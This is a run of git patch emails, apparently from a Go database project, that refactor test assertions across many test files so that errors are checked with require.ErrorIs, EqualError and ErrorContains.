b/pkg/server/remote_storage_test.go index bf98da0fb6..b8bf393c3b 100644 --- a/pkg/server/remote_storage_test.go +++ b/pkg/server/remote_storage_test.go @@ -240,7 +240,7 @@ func TestInitializeWithEmptyRemoteStorage(t *testing.T) { s.WithOptions(opts) err := s.Initialize() - require.Error(t, err, ErrNoStorageForIdentifier) + require.ErrorIs(t, err, ErrNoStorageForIdentifier) } func TestInitializeWithRemoteStorageWithoutIdentifier(t *testing.T) { From 452f3c003bf7ab2d636f34f3eba0694d4f472e3e Mon Sep 17 00:00:00 2001 From: Jeronimo Date: Fri, 30 Jun 2023 11:44:00 -0300 Subject: [PATCH 0652/1062] using ErrorIs to validate err is that specific type of error --- pkg/server/remote_storage_test.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pkg/server/remote_storage_test.go b/pkg/server/remote_storage_test.go index b8bf393c3b..209a951db7 100644 --- a/pkg/server/remote_storage_test.go +++ b/pkg/server/remote_storage_test.go @@ -257,7 +257,7 @@ func TestInitializeWithRemoteStorageWithoutIdentifier(t *testing.T) { s.remoteStorage = m err := s.initializeRemoteStorage(m) - require.Error(t, err, ErrNoRemoteIdentifier) + require.ErrorIs(t, err, ErrNoStorageForIdentifier) } func TestInitializeRemoteStorageWithoutLocalIdentifier(t *testing.T) { From 5768491f1d2b40002f8ce8e8a429cf1c13091763 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 30 Jun 2023 12:09:06 -0300 Subject: [PATCH 0653/1062] test(pkg/server): fix error validation in test case Signed-off-by: Jeronimo Irazabal --- pkg/server/remote_storage_test.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pkg/server/remote_storage_test.go b/pkg/server/remote_storage_test.go index 209a951db7..297fc61f8e 100644 --- a/pkg/server/remote_storage_test.go +++ b/pkg/server/remote_storage_test.go @@ -257,7 +257,7 @@ func TestInitializeWithRemoteStorageWithoutIdentifier(t *testing.T) { s.remoteStorage = m err := s.initializeRemoteStorage(m) - require.ErrorIs(t, err, ErrNoStorageForIdentifier) + require.ErrorIs(t, err, ErrNoRemoteIdentifier) } func TestInitializeRemoteStorageWithoutLocalIdentifier(t *testing.T) { From f70337a0ecabb6a2343669c02c32e3b205684017 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Wed, 9 Nov 2022 10:34:29 +0100 Subject: [PATCH 0654/1062] chore(tests): Tests cleanup MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Convert error checking into more readable form Signed-off-by: Bartłomiej Święcki --- cmd/immuadmin/command/user_test.go | 26 ++++---- cmd/immuclient/audit/auditor_test.go | 6 +- .../immuc/currentstatus_errors_test.go | 2 +- .../immuc/getcommands_errors_test.go | 12 ++-- cmd/immuclient/immuc/login_errors_test.go | 12 ++-- cmd/immuclient/immuc/misc_errors_test.go | 4 +- .../immuc/references_errors_test.go | 4 +- cmd/immuclient/immuc/scanners_errors_test.go | 8 +-- .../immuc/setcommands_errors_test.go | 24 +++---- cmd/immutest/command/cmd_test.go | 6 +- .../appendable/multiapp/multi_app_test.go | 3 +- .../appendable/remoteapp/remote_app_test.go | 8 +-- .../remoteapp/remote_storage_reader_test.go | 4 +- .../appendable/singleapp/single_app_test.go | 6 +- embedded/cache/lru_cache_test.go | 16 ++--- embedded/remotestorage/memory/memory_test.go | 6 +- embedded/sql/aggregated_values_test.go | 2 +- embedded/sql/cond_row_reader_test.go | 6 +- embedded/sql/distinct_row_reader_test.go | 8 +-- embedded/sql/engine_test.go | 62 +++++++++---------- embedded/sql/grouped_row_reader_test.go | 2 +- embedded/sql/joint_row_reader_test.go | 4 +- embedded/sql/limit_row_reader_test.go | 6 +- embedded/sql/offset_row_reader_test.go | 6 +- pkg/database/all_ops_test.go | 4 +- pkg/database/replica_test.go | 2 +- pkg/errors/errors_test.go | 2 +- pkg/immuos/os_test.go | 2 +- pkg/server/server_test.go | 3 +- 29 files changed, 126 insertions(+), 130 deletions(-) diff --git a/cmd/immuadmin/command/user_test.go b/cmd/immuadmin/command/user_test.go index 80656c827e..503d9d1ea8 100644 --- a/cmd/immuadmin/command/user_test.go +++ b/cmd/immuadmin/command/user_test.go @@ -97,7 +97,7 @@ func TestUserListErrors(t *testing.T) { return nil, errListUsers } _, err := cl.userList(nil) - require.Equal(t, errListUsers, err) + require.ErrorIs(t, err, errListUsers) immuClientMock.ListUsersF = func(context.Context) (*schema.UserList, error) { return &schema.UserList{ @@ -195,7 +195,7 @@ func TestUserChangePasswordErrors(t *testing.T) { return nil, errors.New("password read error") } _, _, err := cl.changeUserPassword(username, oldPass) - require.Equal(t, errors.New("Error Reading Password"), err) + require.EqualError(t, err, "Error Reading Password") pwReaderMock.ReadF = func(string) ([]byte, error) { return []byte("weakpass"), nil @@ -216,7 +216,7 @@ func TestUserChangePasswordErrors(t *testing.T) { return nil, errors.New("password read 2 error") } _, _, err = cl.changeUserPassword(username, oldPass) - require.Equal(t, errors.New("Error Reading Password"), err) + require.EqualError(t, err, "Error Reading Password") pwReadCounter = 0 pwReaderMock.ReadF = func(string) ([]byte, error) { @@ -227,7 +227,7 @@ func TestUserChangePasswordErrors(t *testing.T) { return []byte("GoodPass2!"), nil } _, _, err = cl.changeUserPassword(username, oldPass) - require.Equal(t, errors.New("Passwords don't match"), err) + require.EqualError(t, err, "Passwords don't match") pwReaderMock.ReadF = func(string) ([]byte, error) { return goodPass1, nil @@ -237,7 +237,7 @@ func TestUserChangePasswordErrors(t *testing.T) { return errChangePass } _, _, err = cl.changeUserPassword(username, oldPass) - require.Equal(t, errChangePass, err) + require.ErrorIs(t, err, errChangePass) immuClientMock.ChangePasswordF = func(context.Context, []byte, []byte, []byte) error { return nil @@ -317,7 +317,7 @@ func TestUserCreateErrors(t *testing.T) { permission := "admin" args := []string{username, permission, databasename} _, err := cl.userCreate(args) - require.Equal(t, errListUsers, err) + require.ErrorIs(t, err, errListUsers) immuClientMock.ListUsersF = func(context.Context) (*schema.UserList, error) { return &schema.UserList{ @@ -335,7 +335,7 @@ func TestUserCreateErrors(t *testing.T) { return nil, errListDatabases } _, err = cl.userCreate(args) - require.Equal(t, errListDatabases, err) + require.ErrorIs(t, err, errListDatabases) immuClientMock.DatabaseListF = func(context.Context) (*schema.DatabaseListResponse, error) { return &schema.DatabaseListResponse{ @@ -366,7 +366,7 @@ func TestUserCreateErrors(t *testing.T) { return nil, errors.New("password reading error") } _, err = cl.userCreate(args) - require.Equal(t, errors.New("Error Reading Password"), err) + require.EqualError(t, err, "Error Reading Password") pwReaderMock.ReadF = func(msg string) ([]byte, error) { return []byte("weakpassword"), nil @@ -386,7 +386,7 @@ func TestUserCreateErrors(t *testing.T) { return nil, errors.New("password reading error 2") } _, err = cl.userCreate(args) - require.Equal(t, errors.New("Error Reading Password"), err) + require.EqualError(t, err, "Error Reading Password") pwReadCounter = 0 pwReaderMock.ReadF = func(msg string) ([]byte, error) { @@ -397,14 +397,14 @@ func TestUserCreateErrors(t *testing.T) { return []byte("$trongPass2!"), nil } _, err = cl.userCreate(args) - require.Equal(t, errors.New("Passwords don't match"), err) + require.EqualError(t, err, "Passwords don't match") errCreateUser := errors.New("create user error") immuClientMock.CreateUserF = func(context.Context, []byte, []byte, uint32, string) error { return errCreateUser } _, err = cl.userCreate(args) - require.Equal(t, errCreateUser, err) + require.ErrorIs(t, err, errCreateUser) immuClientMock.CreateUserF = func(context.Context, []byte, []byte, uint32, string) error { return nil @@ -538,7 +538,7 @@ func TestUserActivateErrors(t *testing.T) { return errSetActiveUser } _, err := cl.setActiveUser([]string{"user1"}, true) - require.Equal(t, errSetActiveUser, err) + require.ErrorIs(t, err, errSetActiveUser) } func TestUserPermission(t *testing.T) { @@ -629,6 +629,6 @@ func TestUserPermissionErrors(t *testing.T) { return errChangePermission } _, err = cl.setUserPermission(args) - require.Equal(t, errChangePermission, err) + require.ErrorIs(t, err, errChangePermission) } */ diff --git a/cmd/immuclient/audit/auditor_test.go b/cmd/immuclient/audit/auditor_test.go index 844a0b4f09..2ab38cf6dd 100644 --- a/cmd/immuclient/audit/auditor_test.go +++ b/cmd/immuclient/audit/auditor_test.go @@ -58,16 +58,14 @@ defer bs.Stop() os.Setenv("audit-agent-interval", "X") _, err = ad.InitAgent() os.RemoveAll(pidPath) - require.Error(t, err) - require.Contains(t, err.Error(), "invalid duration") + require.ErrorContains(t, err, "invalid duration") os.Unsetenv("audit-agent-interval") auditPassword := viper.GetString("audit-password") viper.Set("audit-password", "X") _, err = ad.InitAgent() os.RemoveAll(pidPath) - require.Error(t, err) - require.Contains(t, err.Error(), "Invalid login operation") + require.ErrorContains(t, err, "Invalid login operation") viper.Set("audit-password", auditPassword) } */ diff --git a/cmd/immuclient/immuc/currentstatus_errors_test.go b/cmd/immuclient/immuc/currentstatus_errors_test.go index 6f4d1673b4..0e5e9e9955 100644 --- a/cmd/immuclient/immuc/currentstatus_errors_test.go +++ b/cmd/immuclient/immuc/currentstatus_errors_test.go @@ -38,7 +38,7 @@ func TestCurrentRootErrors(t *testing.T) { ic := new(immuc) ic.ImmuClient = immuClientMock _, err := ic.CurrentRoot(nil) - require.Equal(t, errCurrentRoot, err) + require.ErrorIs(t, err, errCurrentRoot) rpcErrMsg := "CurrentRoot RPC error" rpcErr := status.New(codes.Internal, rpcErrMsg).Err() diff --git a/cmd/immuclient/immuc/getcommands_errors_test.go b/cmd/immuclient/immuc/getcommands_errors_test.go index 2844f153c2..79404f39d1 100644 --- a/cmd/immuclient/immuc/getcommands_errors_test.go +++ b/cmd/immuclient/immuc/getcommands_errors_test.go @@ -40,7 +40,7 @@ func TestGetCommandsErrors(t *testing.T) { // GetByIndex _, err := ic.GetByIndex([]string{"X"}) - require.Equal(t, errors.New(` "X" is not a valid index number`), err) + require.ErrorIs(t, err, errors.New(` "X" is not a valid index number`)) immuClientMock.ByIndexF = func(ctx context.Context, index uint64) (*schema.StructuredItem, error) { return nil, errors.New("NotFound") @@ -61,7 +61,7 @@ func TestGetCommandsErrors(t *testing.T) { return nil, errByIndex } _, err = ic.GetByIndex([]string{"0"}) - require.Equal(t, errByIndex, err) + require.ErrorIs(t, err, errByIndex) // GetKey immuClientMock.GetF = func(ctx context.Context, key []byte) (*schema.StructuredItem, error) { @@ -83,7 +83,7 @@ func TestGetCommandsErrors(t *testing.T) { return nil, errGet } _, err = ic.GetKey([]string{"key1"}) - require.Equal(t, errGet, err) + require.ErrorIs(t, err, errGet) // RawSafeGetKey immuClientMock.RawSafeGetF = func(context.Context, []byte, ...grpc.CallOption) (vi *client.VerifiedItem, err error) { @@ -105,7 +105,7 @@ func TestGetCommandsErrors(t *testing.T) { return nil, errRawSafeGet } _, err = ic.RawSafeGetKey([]string{"key1"}) - require.Equal(t, errRawSafeGet, err) + require.ErrorIs(t, err, errRawSafeGet) // SafeGetKey immuClientMock.SafeGetF = func(context.Context, []byte, ...grpc.CallOption) (vi *client.VerifiedItem, err error) { @@ -127,7 +127,7 @@ func TestGetCommandsErrors(t *testing.T) { return nil, errSafeGet } _, err = ic.SafeGetKey([]string{"key1"}) - require.Equal(t, errSafeGet, err) + require.ErrorIs(t, err, errSafeGet) // GetRawBySafeIndex _, err = ic.GetRawBySafeIndex([]string{"X"}) @@ -138,6 +138,6 @@ func TestGetCommandsErrors(t *testing.T) { return nil, errRawBySafeIndex } _, err = ic.GetRawBySafeIndex([]string{"0"}) - require.Equal(t, errRawBySafeIndex, err) + require.ErrorIs(t, err, errRawBySafeIndex) } */ diff --git a/cmd/immuclient/immuc/login_errors_test.go b/cmd/immuclient/immuc/login_errors_test.go index c915be15e3..b2c21bca3e 100644 --- a/cmd/immuclient/immuc/login_errors_test.go +++ b/cmd/immuclient/immuc/login_errors_test.go @@ -68,7 +68,7 @@ func TestLoginAndUserCommandsErrors(t *testing.T) { return errWriteFileToHomeDir } _, err = ic.Login(args) - require.Equal(t, errWriteFileToHomeDir, err) + require.ErrorIs(t, err, errWriteFileToHomeDir) homedirServiceMock.WriteFileToUserHomeDirF = func([]byte, string) error { return nil @@ -94,7 +94,7 @@ func TestLoginAndUserCommandsErrors(t *testing.T) { return true, nil } _, err = ic.Logout(nil) - require.Equal(t, errDeleteFileFromHomeDir, err) + require.ErrorIs(t, err, errDeleteFileFromHomeDir) // UserCreate errors resp, err = ic.UserCreate(nil) @@ -149,7 +149,7 @@ func TestLoginAndUserCommandsErrors(t *testing.T) { return nil, errListUsers } _, err = ic.UserList(nil) - require.Equal(t, errListUsers, err) + require.ErrorIs(t, err, errListUsers) userList := &schema.UserList{ Users: []*schema.User{ @@ -201,7 +201,7 @@ func TestLoginAndUserCommandsErrors(t *testing.T) { // ChangeUserPassword errors _, err = ic.ChangeUserPassword(nil) - require.Equal(t, errors.New("ERROR: Not enough arguments. Use [command] --help for documentation "), err) + require.EqualError(t, err, "ERROR: Not enough arguments. Use [command] --help for documentation ") args = []string{auth.SysAdminUsername} passwordReaderMock.ReadF = func(msg string) ([]byte, error) { @@ -271,7 +271,7 @@ func TestLoginAndUserCommandsErrors(t *testing.T) { return errSetActiveUser } _, err = ic.SetActiveUser([]string{"user1"}, true) - require.Equal(t, errSetActiveUser, err) + require.ErrorIs(t, err, errSetActiveUser) // SetUserPermission errors resp, err = ic.SetUserPermission(nil) @@ -298,6 +298,6 @@ func TestLoginAndUserCommandsErrors(t *testing.T) { return errChangePermission } _, err = ic.SetUserPermission(args) - require.Equal(t, errChangePermission, err) + require.ErrorIs(t, err, errChangePermission) } */ diff --git a/cmd/immuclient/immuc/misc_errors_test.go b/cmd/immuclient/immuc/misc_errors_test.go index aba0ccb5ea..3cd46b0d09 100644 --- a/cmd/immuclient/immuc/misc_errors_test.go +++ b/cmd/immuclient/immuc/misc_errors_test.go @@ -47,7 +47,7 @@ func TestMiscErrors(t *testing.T) { return nil, errHistory } _, err = ic.History(args) - require.Equal(t, errHistory, err) + require.ErrorIs(t, err, errHistory) // HealthCheck errors immuClientMock.HealthCheckF = func(context.Context) error { @@ -62,6 +62,6 @@ func TestMiscErrors(t *testing.T) { return errHealthCheck } _, err = ic.HealthCheck(nil) - require.Equal(t, errHealthCheck, err) + require.ErrorIs(t, err, errHealthCheck) } */ diff --git a/cmd/immuclient/immuc/references_errors_test.go b/cmd/immuclient/immuc/references_errors_test.go index 8163c6dbac..dd43f4f4ef 100644 --- a/cmd/immuclient/immuc/references_errors_test.go +++ b/cmd/immuclient/immuc/references_errors_test.go @@ -48,7 +48,7 @@ func TestReferencesErrors(t *testing.T) { return nil, errReference } _, err = ic.Reference(args) - require.Equal(t, errReference, err) + require.ErrorIs(t, err, errReference) // SafeReference errors immuClientMock.SafeReferenceF = func(context.Context, []byte, []byte, *schema.Index) (*client.VerifiedIndex, error) { @@ -63,6 +63,6 @@ func TestReferencesErrors(t *testing.T) { return nil, errSafeReference } _, err = ic.SafeReference(args) - require.Equal(t, errSafeReference, err) + require.ErrorIs(t, err, errSafeReference) } */ diff --git a/cmd/immuclient/immuc/scanners_errors_test.go b/cmd/immuclient/immuc/scanners_errors_test.go index 29a5549934..6c4990203e 100644 --- a/cmd/immuclient/immuc/scanners_errors_test.go +++ b/cmd/immuclient/immuc/scanners_errors_test.go @@ -48,7 +48,7 @@ func TestScannersErrors(t *testing.T) { return nil, errZScan } _, err = ic.ZScan(args) - require.Equal(t, errZScan, err) + require.ErrorIs(t, err, errZScan) immuClientMock.ZScanF = func(context.Context, *schema.ZScanOptions) (*schema.ZStructuredItemList, error) { return &schema.ZStructuredItemList{}, nil @@ -77,7 +77,7 @@ func TestScannersErrors(t *testing.T) { return nil, errIScan } _, err = ic.IScan(args) - require.Equal(t, errIScan, err) + require.ErrorIs(t, err, errIScan) immuClientMock.IScanF = func(context.Context, uint64, uint64) (*schema.SPage, error) { return &schema.SPage{}, nil @@ -100,7 +100,7 @@ func TestScannersErrors(t *testing.T) { return nil, errScan } _, err = ic.Scan(args) - require.Equal(t, errScan, err) + require.ErrorIs(t, err, errScan) immuClientMock.ScanF = func(context.Context, *schema.ScanOptions) (*schema.StructuredItemList, error) { return &schema.StructuredItemList{}, nil @@ -115,6 +115,6 @@ func TestScannersErrors(t *testing.T) { return nil, errCount } _, err = ic.Count(args) - require.Equal(t, errCount, err) + require.ErrorIs(t, err, errCount) } */ diff --git a/cmd/immuclient/immuc/setcommands_errors_test.go b/cmd/immuclient/immuc/setcommands_errors_test.go index 7c322c9b08..2ed132e953 100644 --- a/cmd/immuclient/immuc/setcommands_errors_test.go +++ b/cmd/immuclient/immuc/setcommands_errors_test.go @@ -42,7 +42,7 @@ func TestSetCommandsErrors(t *testing.T) { return nil, errRawSafeSet } _, err := ic.RawSafeSet(args) - require.Equal(t, errRawSafeSet, err) + require.ErrorIs(t, err, errRawSafeSet) immuClientMock.RawSafeSetF = func(context.Context, []byte, []byte) (vi *client.VerifiedIndex, err error) { return nil, nil } @@ -52,7 +52,7 @@ func TestSetCommandsErrors(t *testing.T) { return nil, errRawSafeGet } _, err = ic.RawSafeSet(args) - require.Equal(t, errRawSafeGet, err) + require.ErrorIs(t, err, errRawSafeGet) // Set errors errSet := errors.New("set error") @@ -60,7 +60,7 @@ func TestSetCommandsErrors(t *testing.T) { return nil, errSet } _, err = ic.Set(args) - require.Equal(t, errSet, err) + require.ErrorIs(t, err, errSet) immuClientMock.SetF = func(context.Context, []byte, []byte) (*schema.Index, error) { return nil, nil } @@ -70,7 +70,7 @@ func TestSetCommandsErrors(t *testing.T) { return nil, errGet } _, err = ic.Set(args) - require.Equal(t, errGet, err) + require.ErrorIs(t, err, errGet) // SafeSet errors errSafeSet := errors.New("safe set error") @@ -78,7 +78,7 @@ func TestSetCommandsErrors(t *testing.T) { return nil, errSafeSet } _, err = ic.SafeSet(args) - require.Equal(t, errSafeSet, err) + require.ErrorIs(t, err, errSafeSet) immuClientMock.SafeSetF = func(context.Context, []byte, []byte) (*client.VerifiedIndex, error) { return nil, nil @@ -88,7 +88,7 @@ func TestSetCommandsErrors(t *testing.T) { return nil, errSafeGet } _, err = ic.SafeSet(args) - require.Equal(t, errSafeGet, err) + require.ErrorIs(t, err, errSafeGet) // ZAdd errors _, err = ic.ZAdd([]string{"set1", "X", "key1"}) @@ -99,7 +99,7 @@ func TestSetCommandsErrors(t *testing.T) { return nil, errZAdd } _, err = ic.ZAdd([]string{"set1", "1", "key1"}) - require.Equal(t, errZAdd, err) + require.ErrorIs(t, err, errZAdd) // SafeZAdd errors _, err = ic.SafeZAdd([]string{"set1", "X", "key1"}) @@ -110,7 +110,7 @@ func TestSetCommandsErrors(t *testing.T) { return nil, errSafeZAdd } _, err = ic.SafeZAdd([]string{"set1", "1", "key1"}) - require.Equal(t, errSafeZAdd, err) + require.ErrorIs(t, err, errSafeZAdd) // CreateDatabase errors _, err = ic.CreateDatabase(nil) @@ -124,7 +124,7 @@ func TestSetCommandsErrors(t *testing.T) { return errCreateDb } _, err = ic.CreateDatabase([]string{"db1"}) - require.Equal(t, errCreateDb, err) + require.ErrorIs(t, err, errCreateDb) // DatabaseList errors errDbList := errors.New("database list error") @@ -132,7 +132,7 @@ func TestSetCommandsErrors(t *testing.T) { return nil, errDbList } _, err = ic.DatabaseList(nil) - require.Equal(t, errDbList, err) + require.ErrorIs(t, err, errDbList) ic.options = &client.Options{CurrentDatabase: "db2"} immuClientMock.DatabaseListF = func(context.Context) (*schema.DatabaseListResponse, error) { @@ -155,7 +155,7 @@ func TestSetCommandsErrors(t *testing.T) { } args = []string{"db1"} _, err = ic.UseDatabase(args) - require.Equal(t, errUseDb, err) + require.ErrorIs(t, err, errUseDb) immuClientMock.UseDatabaseF = func(context.Context, *schema.Database) (*schema.UseDatabaseReply, error) { return &schema.UseDatabaseReply{ @@ -172,6 +172,6 @@ func TestSetCommandsErrors(t *testing.T) { return errWriteFileToHomeDir } _, err = ic.UseDatabase(args) - require.Equal(t, errWriteFileToHomeDir, err) + require.ErrorIs(t, err, errWriteFileToHomeDir) } */ diff --git a/cmd/immutest/command/cmd_test.go b/cmd/immutest/command/cmd_test.go index ff7fa94459..5daa0eb3d4 100644 --- a/cmd/immutest/command/cmd_test.go +++ b/cmd/immutest/command/cmd_test.go @@ -170,7 +170,7 @@ func TestImmutest(t *testing.T) { } errFunc = func(err error) { require.Error(t, err) - require.Equal(t, errUseDb, err) + require.ErrorIs(t, err, errUseDb) } cmd10 := NewCmd(newClient, pwReaderMockOK, termReaderMockOK, ts, errFunc) cmd10.SetArgs([]string{"1"}) @@ -196,7 +196,7 @@ func TestImmutest(t *testing.T) { } errFunc = func(err error) { require.Error(t, err) - require.Equal(t, errSet, err) + require.ErrorIs(t, err, errSet) } cmd12 := NewCmd(newClient, pwReaderMockOK, termReaderMockOK, ts, errFunc) cmd12.SetArgs([]string{"1"}) @@ -207,7 +207,7 @@ func TestImmutest(t *testing.T) { icm.DisconnectF = func() error { return errDisconnect } errFunc = func(err error) { require.Error(t, err) - require.Equal(t, errDisconnect, err) + require.ErrorIs(t, err, errDisconnect) } cmd13 := NewCmd(newClient, pwReaderMockOK, termReaderMockOK, ts, errFunc) cmd13.SetArgs([]string{"1"}) diff --git a/embedded/appendable/multiapp/multi_app_test.go b/embedded/appendable/multiapp/multi_app_test.go index ada9f77c4a..d0e3e57cad 100644 --- a/embedded/appendable/multiapp/multi_app_test.go +++ b/embedded/appendable/multiapp/multi_app_test.go @@ -242,8 +242,7 @@ func TestMultiAppEdgeCases(t *testing.T) { require.ErrorIs(t, err, ErrIllegalArguments) err = a.Copy("multi_app_test.go") - require.Error(t, err) - require.Contains(t, err.Error(), "not a directory") + require.ErrorContains(t, err, "not a directory") err = a.Close() require.NoError(t, err) diff --git a/embedded/appendable/remoteapp/remote_app_test.go b/embedded/appendable/remoteapp/remote_app_test.go index df10b95ad2..31172ccafd 100644 --- a/embedded/appendable/remoteapp/remote_app_test.go +++ b/embedded/appendable/remoteapp/remote_app_test.go @@ -42,11 +42,11 @@ import ( func TestOpenInllegalArguments(t *testing.T) { dir := t.TempDir() app, err := Open(dir, "", memory.Open(), nil) - require.Equal(t, ErrIllegalArguments, err) + require.ErrorIs(t, err, ErrIllegalArguments) require.Nil(t, app) app, err = Open(dir, "", nil, DefaultOptions()) - require.Equal(t, ErrIllegalArguments, err) + require.ErrorIs(t, err, ErrIllegalArguments) require.Nil(t, app) app, err = Open(dir, "remotepath", memory.Open(), DefaultOptions()) @@ -900,7 +900,7 @@ func TestRemoteStorageOpenInitialAppendableMissingRemoteChunk(t *testing.T) { // Opening should fail now app, err = Open(path, "", m, opts) - require.Equal(t, ErrMissingRemoteChunk, err) + require.ErrorIs(t, err, ErrMissingRemoteChunk) require.Nil(t, app) } @@ -926,6 +926,6 @@ func TestRemoteStorageOpenInitialAppendableCorruptedLocalFile(t *testing.T) { // Opening should fail now app, err = Open(path, "", m, opts) - require.Equal(t, ErrInvalidRemoteStorage, err) + require.ErrorIs(t, err, ErrInvalidRemoteStorage) require.Nil(t, app) } diff --git a/embedded/appendable/remoteapp/remote_storage_reader_test.go b/embedded/appendable/remoteapp/remote_storage_reader_test.go index c60442ef90..b08e71fcae 100644 --- a/embedded/appendable/remoteapp/remote_storage_reader_test.go +++ b/embedded/appendable/remoteapp/remote_storage_reader_test.go @@ -84,7 +84,7 @@ func TestRemoteStorageReadAt(t *testing.T) { n, err = r.ReadAt(make([]byte, 2), -1) require.EqualValues(t, 0, n) - require.Equal(t, ErrIllegalArguments, err) + require.ErrorIs(t, err, ErrIllegalArguments) n, err = r.ReadAt(make([]byte, 2), 4) require.EqualValues(t, 0, n) @@ -108,7 +108,7 @@ func TestRemoteStorageCorruptedHeader(t *testing.T) { storeData(t, m, "fl", d.bytes) r, err := openRemoteStorageReader(m, "fl") - require.Equal(t, ErrCorruptedMetadata, err) + require.ErrorIs(t, err, ErrCorruptedMetadata) require.Nil(t, r) }) } diff --git a/embedded/appendable/singleapp/single_app_test.go b/embedded/appendable/singleapp/single_app_test.go index a114453fd6..2da4561c9a 100644 --- a/embedded/appendable/singleapp/single_app_test.go +++ b/embedded/appendable/singleapp/single_app_test.go @@ -484,14 +484,12 @@ func TestSingleAppCantCreateFile(t *testing.T) { os.Mkdir(filepath.Join(dir, "exists"), 0644) _, err := Open(filepath.Join(dir, "exists"), DefaultOptions()) - require.Error(t, err) - require.Contains(t, err.Error(), "exists") + require.ErrorContains(t, err, "exists") app, err := Open(filepath.Join(dir, "valid"), DefaultOptions()) require.NoError(t, err) err = app.Copy(filepath.Join(dir, "exists")) - require.Error(t, err) - require.Contains(t, err.Error(), "exists") + require.ErrorContains(t, err, "exists") } func TestSingleAppDiscard(t *testing.T) { diff --git a/embedded/cache/lru_cache_test.go b/embedded/cache/lru_cache_test.go index 779c493921..a24af7b406 100644 --- a/embedded/cache/lru_cache_test.go +++ b/embedded/cache/lru_cache_test.go @@ -25,7 +25,7 @@ import ( func TestCacheCreation(t *testing.T) { _, err := NewLRUCache(0) - require.Equal(t, ErrIllegalArguments, err) + require.ErrorIs(t, err, ErrIllegalArguments) cacheSize := 10 cache, err := NewLRUCache(cacheSize) @@ -34,10 +34,10 @@ func TestCacheCreation(t *testing.T) { require.Equal(t, cacheSize, cache.Size()) _, err = cache.Get(nil) - require.Equal(t, ErrIllegalArguments, err) + require.ErrorIs(t, err, ErrIllegalArguments) _, _, err = cache.Put(nil, nil) - require.Equal(t, ErrIllegalArguments, err) + require.ErrorIs(t, err, ErrIllegalArguments) for i := 0; i < cacheSize; i++ { _, _, err = cache.Put(i, 10*i) @@ -66,7 +66,7 @@ func TestCacheCreation(t *testing.T) { for i := cacheSize / 2; i < cacheSize; i++ { _, err = cache.Get(i) - require.Equal(t, ErrKeyNotFound, err) + require.ErrorIs(t, err, ErrKeyNotFound) } for i := cacheSize; i < cacheSize+cacheSize/2; i++ { @@ -127,11 +127,11 @@ func TestPop(t *testing.T) { require.Equal(t, cacheSize-1, c) val, err = cache.Pop(-1) - require.Equal(t, ErrKeyNotFound, err) + require.ErrorIs(t, err, ErrKeyNotFound) require.Nil(t, val) val, err = cache.Pop(nil) - require.Equal(t, ErrIllegalArguments, err) + require.ErrorIs(t, err, ErrIllegalArguments) require.Nil(t, val) } @@ -162,11 +162,11 @@ func TestReplace(t *testing.T) { require.Equal(t, cacheSize, c) val, err = cache.Replace(-1, 9998) - require.Equal(t, ErrKeyNotFound, err) + require.ErrorIs(t, err, ErrKeyNotFound) require.Nil(t, val) val, err = cache.Replace(nil, 9997) - require.Equal(t, ErrIllegalArguments, err) + require.ErrorIs(t, err, ErrIllegalArguments) require.Nil(t, val) } diff --git a/embedded/remotestorage/memory/memory_test.go b/embedded/remotestorage/memory/memory_test.go index ba10eccdc2..ae06555fd2 100644 --- a/embedded/remotestorage/memory/memory_test.go +++ b/embedded/remotestorage/memory/memory_test.go @@ -178,11 +178,11 @@ func TestRemoteStorageGetInvalidParams(t *testing.T) { ctx := context.Background() r, err := storage.Get(ctx, "testfile", -1, 100) - require.Equal(t, ErrInvalidArguments, err) + require.ErrorIs(t, err, ErrInvalidArguments) require.Nil(t, r) r, err = storage.Get(ctx, "testfile", 0, 0) - require.Equal(t, ErrInvalidArguments, err) + require.ErrorIs(t, err, ErrInvalidArguments) require.Nil(t, r) } @@ -217,7 +217,7 @@ func TestRemoteStorageListEntriesInvalidArgs(t *testing.T) { for _, path := range []string{"/", "no_slash", "double_slash_//_inside/"} { t.Run(path, func(t *testing.T) { e, s, err := storage.ListEntries(context.Background(), path) - require.Equal(t, ErrInvalidArguments, err) + require.ErrorIs(t, err, ErrInvalidArguments) require.Nil(t, e) require.Nil(t, s) }) diff --git a/embedded/sql/aggregated_values_test.go b/embedded/sql/aggregated_values_test.go index c67ac64f75..4b7688a901 100644 --- a/embedded/sql/aggregated_values_test.go +++ b/embedded/sql/aggregated_values_test.go @@ -34,7 +34,7 @@ func TestCountValue(t *testing.T) { require.Equal(t, IntegerType, cval.Type()) _, err = cval.Compare(&Bool{val: true}) - require.Equal(t, ErrNotComparableValues, err) + require.ErrorIs(t, err, ErrNotComparableValues) cmp, err := cval.Compare(&Integer{val: 1}) require.NoError(t, err) diff --git a/embedded/sql/cond_row_reader_test.go b/embedded/sql/cond_row_reader_test.go index 549f28fe2c..513714b8b2 100644 --- a/embedded/sql/cond_row_reader_test.go +++ b/embedded/sql/cond_row_reader_test.go @@ -29,13 +29,13 @@ func TestConditionalRowReader(t *testing.T) { rowReader := newConditionalRowReader(dummyr, &Bool{val: true}) _, err := rowReader.Columns(context.Background()) - require.Equal(t, errDummy, err) + require.ErrorIs(t, err, errDummy) err = rowReader.InferParameters(context.Background(), nil) - require.Equal(t, errDummy, err) + require.ErrorIs(t, err, errDummy) dummyr.failInferringParams = true err = rowReader.InferParameters(context.Background(), nil) - require.Equal(t, errDummy, err) + require.ErrorIs(t, err, errDummy) } diff --git a/embedded/sql/distinct_row_reader_test.go b/embedded/sql/distinct_row_reader_test.go index 952f70a218..cc4db63b3b 100644 --- a/embedded/sql/distinct_row_reader_test.go +++ b/embedded/sql/distinct_row_reader_test.go @@ -28,7 +28,7 @@ func TestDistinctRowReader(t *testing.T) { dummyr.failReturningColumns = true _, err := newDistinctRowReader(context.Background(), dummyr) - require.Equal(t, errDummy, err) + require.ErrorIs(t, err, errDummy) dummyr.failReturningColumns = false @@ -41,11 +41,11 @@ func TestDistinctRowReader(t *testing.T) { require.Nil(t, rowReader.Tx()) _, err = rowReader.colsBySelector(context.Background()) - require.Equal(t, errDummy, err) + require.ErrorIs(t, err, errDummy) dummyr.failReturningColumns = true _, err = rowReader.Columns(context.Background()) - require.Equal(t, errDummy, err) + require.ErrorIs(t, err, errDummy) 